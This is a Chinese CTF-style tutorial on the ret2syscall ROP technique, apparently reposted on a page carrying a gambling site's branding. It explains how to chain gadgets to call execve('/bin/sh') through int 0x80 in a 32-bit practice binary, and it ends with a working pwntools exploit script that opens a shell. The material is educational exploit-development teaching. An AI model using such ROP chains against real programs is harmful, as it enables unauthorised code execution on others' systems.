必威体育Betway必威体育官网
当前位置:首页 > IT技术

基本ROP(三)

时间:2019-08-18 05:14:23来源:IT技术作者:seo实验室小编阅读:73次「手机版」
 

rop

每日一结【第3天】

由于个人水平有限,所以相当一部分是引用CTF Wiki(再次安利一波)

ret2syscall

原理:

ret2syscall需要我们控制程序执行系统调用,获取shell。

样例:rop

前期基本的操作之前两篇已经讲了,这里就直接上图了

这里写图片描述

这里写图片描述

我们这次把程序扔到IDA里㕛有新的发现了

这里写图片描述

这里写图片描述

此次我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。这里我们利用如下系统调用来获取shell –> execve(“/bin/sh”,NULL,NULL)

其中,该程序是32位,所以我们需要使得

系统调用号即eax应该为0xb

第一个参数即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以

第二个参数即ecx应该为0

第三个参数edx应该为0

而我们如何控制这些寄存器的值 呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在gadgets最后使用ret来再次控制程序执行流程的原因。具体寻找gadgets的方法,我们可以使用ropgadgets这个工具

现在我们先寻找eax的gadgets

这里写图片描述

然后使用同样的方法获得其他寄存器的gadgets

这里写图片描述

这里我们可以选用0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 直接控制其他几个寄存器

再来获取一下/bin/sh的地址和int 0x80地址

这里写图片描述

万事俱备,只欠exp

exp:

from pwn import *

r = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
r.sendline(payload)
r.interactive()

这里写图片描述

相关阅读

加速度计和陀螺仪的数学模型和基本算法

本帖转自http://www.geek-workshop.com/thread-1695-1-1.html本帖翻译自IMU(加速度计和陀螺仪设备)在嵌入式应用中使用的指南。这篇

在进行软文推广代理和软文推广的时候,基本的方式方法要

互联网营销的现状非常混乱,各种网络营销正在涌入网络。特别是在软文推广代理的各种软文推广方法中,我们打开浏览器来搜索新闻,会有各

理解图像中基本概念:色调、色相、饱和度、对比度、亮度

对比度: 对比度指不同颜色之间的差别。对比度越大,不同颜色之间的反差越大,即所谓黑白分明,对比度过大,图像就会显得很刺眼。对比度越

图论入门二:树的基本概念

https://blog.csdn.net/saltriver/article/details/54428750 转自上面的博客 大牛就是大牛,图文结合很好懂 建立了图(graph)的认识,

净推荐值(NPS):用户忠诚度测量的基本原理及方法

文章分享了一个衡量用户与产品或服务之间关系的指标:NPS,干货满满,希望对你有益。初识NPS作为互联网行业的用户体验从业者,我们都或多

分享到:

栏目导航

推荐阅读

热门阅读